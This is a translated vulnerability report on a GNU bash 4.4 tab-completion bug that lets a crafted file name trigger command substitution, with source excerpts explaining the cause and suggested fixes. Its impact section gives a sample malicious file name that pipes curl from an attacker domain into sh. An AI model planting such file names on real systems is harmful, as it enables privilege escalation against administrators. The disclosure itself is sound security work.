引言
从版本4.4开始,GNU bash在路径补全功能就存在两个bugs,这会触发一个代码执行漏洞。通过创建拥有特制名字的文件或目录可以触发这个漏洞。用户可以通过按Tab键使用GNU bash的内置路径完成功能(如使用rm命令来删除它),这将触发漏洞但不执行命令本身。在2015五月, devel-branch介绍了该漏洞。
描述
如果创建一个有双引号(”)的文件,这个漏洞就会发生的,这个双引号遵循GNU bash的内置命令替换功能( ‘<command>‘ 或 $(<command>))。双引号不需要闭合。如果用户试图使用自动补全功能,命令就会被执行(如果它不包含一个斜杠(/)字符):
1
2
3
4
|
[ heyens@beowulf ] $ touch ’” ‘ touch HereBeDragons ‘ ’ [ heyens@beowulf ] $ ls −lt insgesamt 0 −rw−r−−r−− 1 heyens heyens 0 17. Jan 16:03 ’” ‘ touch HereBeDragons ‘ ’ [ heyens@beowulf ] $ rm \”\‘ touch\ HereBeDragons\‘ ˆC [ heyens@beowulf ] $ ls −lt insgesamt 0 −rw−r−−r−− 1 heyens heyens 0 17. Jan 16:04 HereBeDragons −rw−r−−r−− 1 heyens heyens 0 17. Jan 16:03 ’” ‘ touch HereBeDragons ‘ ’ |
原因
在已提交的devel-branc :74b8cbb41398b4453d8ba04d0cdd1b25f9dcb9e3 [ 1 ]上介绍了这个漏洞,并插入到了4.4的稳定版中。下面的代码引用于此提交哈希。
GNU bash中有两个函数会导致这个漏洞。为了更好的说明,我们假设攻击者在磁盘上保存了一个名为”’foo‘的文件。
dirname的去双引号
在bash的filename_stat_hook函数中,之前检查文件是否存在的代码是内联的,在提交的版本中, 使用了directory exists函数来代替了这个检查(bashline.c也包含这个检查):
1
2
3
4
5
6
7
8
9
10
|
3121 else i f ( t = mbschr ( local dirname , ’ ‘ ’ ) ) /∗ XXX ∗/ 3122 should expand dirname = ’ ‘ ’ ; 3123 3124 if ( should expand dirname && directory exists ( local dirname ) ) 3125 should expand dirname = 0; 3126 3127 if ( should expand dirname ) 3128 { 3129 new dirname = savestring ( local dirname ) ; 3130 wl = expand prompt string ( new dirname , 0 , WNOCOMSUB) ; /∗ does the right thing ∗/ |
跟随这个调用 ,我们发现dirname参数被去引号了.然后,当一个文件名被补齐时,引号早已被移除了.
1
2
3
4
5
6
7
8
9
10
11
|
3092 /∗ First , dequote the directory name ∗/ 3093 new dirname = bash dequote filename ( dirname , rl completion quote character ) ; 3094 dirlen = STRLEN ( new dirname ) ; 3095 i f ( new dirname [ dirlen − 1] == ’/ ’ ) 3096 new dirname [ dirlen − 1] = ’\0 ’ ; 3097 #i f defined (HAVE LSTAT) 3098 r = lstat ( new dirname , &sb ) == 0; 3099 #else 3100 r = stat ( new dirname , &sb ) == 0; 3101 #endif 3102 free ( new dirname ) ; 3103 return ( r ) ; |
在本质上,这意味着,如果dirname中包含一个双引号,在directory_exists函数内部将移除这个双引号,这发生在l(stat)被调用之前。考虑到我们的原始输入,这意味着dirname包含‘foo’。这个结果在函数里会返回0,因为没有相关文件存在。
返回之前的函数,我们发现在这种情况下,should_expand_dirname不为零,expand_prompt_string函数使用目录名来调用(3130行)。在我们的案例中会发生以下情况 :显示文件没有被找到,我们包含一个’在它的路径中。然而,正确的参数被传递来保证不应该发生命令替换(W_NOCOMSUB)。该函数主要传递参数给expand_word_internal(subst.c:8601)函数,正如我们刚刚发生的,它并没有做正确的事。
expand_word_internal不转发Flags字段
通过查看expand_word_internal函数的源码,我们发现有不同情况来处理引号字符串。我们看看下面的代码段,从subst.c:9009开始:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
9009 case ’” ’ : 9010 if (( quoted & (Q DOUBLE QUOTES|Q HERE DOCUMENT) ) && (( quoted & Q ARITH) == 0) ) 9011 goto add character ; 9012 9013 t index = ++sindex ; 9014 temp = string extract double quoted ( string , &sindex , 0) ; 9015 9016 /∗ I f the quotes surrounded the entire string , then the 9017 whole word was quoted . ∗/ 9018 quoted state = ( t index == 1 && string [ sindex ] == ’\0 ’ ) 9019 ? WHOLLY QUOTED 9020 : PARTIALLY QUOTED; 9021 9022 i f (temp && ∗temp) 9023 { 9024 tword = alloc word desc () ; 9025 tword−>word = temp ; 9026 9027 temp = ( char ∗)NULL; 9028 9029 temp has dollar at = 0; /∗ XXX ∗/ 9030 /∗ Need to get W HASQUOTEDNULL flag through this function . ∗/ 9031 l i s t = expand word internal (tword , Q DOUBLE QUOTES, 0 , & temp has dollar at , ( int ∗)NULL) ; |
在第9014行中,开放(闭合是可选的)引号之间的所有信息都被提取出来。在第9024行会申请一个新的 WORD_DESC结构。相关联的word字段会作相应的设置。但是却从没有设置flags字段。在本质上,即使W_NOCOMSUB被设置为原始字符串,在新创建的字符串中也不会处理Flag标志。在第9031行中,expand_word_interna是递归调用的。但是在这种情况下,将传递’foo’并在命令替换上没有任何限制,这将导致攻击者的命令被执行,执行权限取决于与运行bash的用户。
影响
我们认为这个错误的影响是非常高的,假设攻击者在系统上没有权限,它可以释放一个特定名字的文件到一个目录中,并等待管理员来触发漏洞,进行提升权限,尽管该漏洞不允许在文件名中包含一个斜杠,对于漏洞利用这影响不大:
1
|
some-very-long-string-nobody-is-going-to-type"’curl attacker-domain.org| sh‘. |
可能的修复
这个问题和两个不同的错误有关。由于没有更深层次的代码基础知识,我们只能猜测,在递归调用expand_word_internal函数里传递flags可以修复这个漏洞。但是,在directory_exists函数中去引号结合已去引号的字符串也可以修复这个漏洞。
References
[1] GNU project. GNU Bash at Savannah git (devel branch). Available at http://git.savannah.gnu.org/cgit/bash.git/commit/?h=devel&id= 74b8cbb41398b4453d8ba04d0cdd1b25f9dcb9e3. Accessed: 2017-01-17.
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://raw.githubusercontent.com/jheyens/bash_completion_vuln/master/2017-01-17.bash_completion_report.pdf0day
文章评论